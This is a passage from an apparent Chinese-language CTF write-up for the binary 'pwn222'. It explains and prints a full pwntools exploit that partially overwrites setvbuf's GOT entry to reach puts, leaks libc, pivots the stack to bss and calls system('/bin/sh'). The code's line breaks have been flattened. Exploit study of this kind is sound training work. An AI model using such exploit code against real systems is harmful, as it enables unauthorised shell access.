无输出函数,尝试使用__do_global_dtors_aux时发现在栈上并没有残留的地址。
由于read()函数为该程序唯一输入程序,不考虑对其下手。剩下有realpath()函数和setvbuf()函数,realpath()函数为比较高级的函数,其附近的函数不好利用,而根据提供的libc库文件发现setvbuf()函数距离puts()函数非常的近,考虑用read()函数构造ROP修改setvbuf()got表的后两位,将其修改为puts()函数,由于修改了倒数第二位,所以每次只有1/16的几率修改成功。
  from pwn import *
 
  while True:     try:                  r=process('./pwn222')         elf = ELF('./pwn222')         libc = ELF('./libc')         rdi = 0x401233         rsir15 = 0x401231         leave = 0x4011aa         bss = 0x404500         setvbuf_got = elf.got['setvbuf']         read = elf.symbols['read']         fake_puts = elf.symbols['setvbuf']         read_got = elf.got['read']         print hex(setvbuf_got)
                       make_puts = p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0)+p64(read)         leak_read = p64(rdi)+p64(read_got)+p64(fake_puts)         move_stack = p64(rdi)+p64(0)+p64(rsir15)+p64(bss)+p64(0)+p64(read)+p64(leave)         exp = make_puts + leak_read + move_stack
          r.sendline(cyclic(32)+p64(bss-8)+exp)         sleep(1)         r.send(p16(0xf6a0))         libc_addr = u64(r.recv(6)+'\x00\x00') - libc.symbols['read']         system = libc_addr + libc.symbols['system']         binsh = libc_addr + libc.search('/bin/sh').next()         r.sendline(p64(rdi)+p64(binsh)+p64(system))         sleep(1)
          r.interactive()     except:         pass
 
 
  |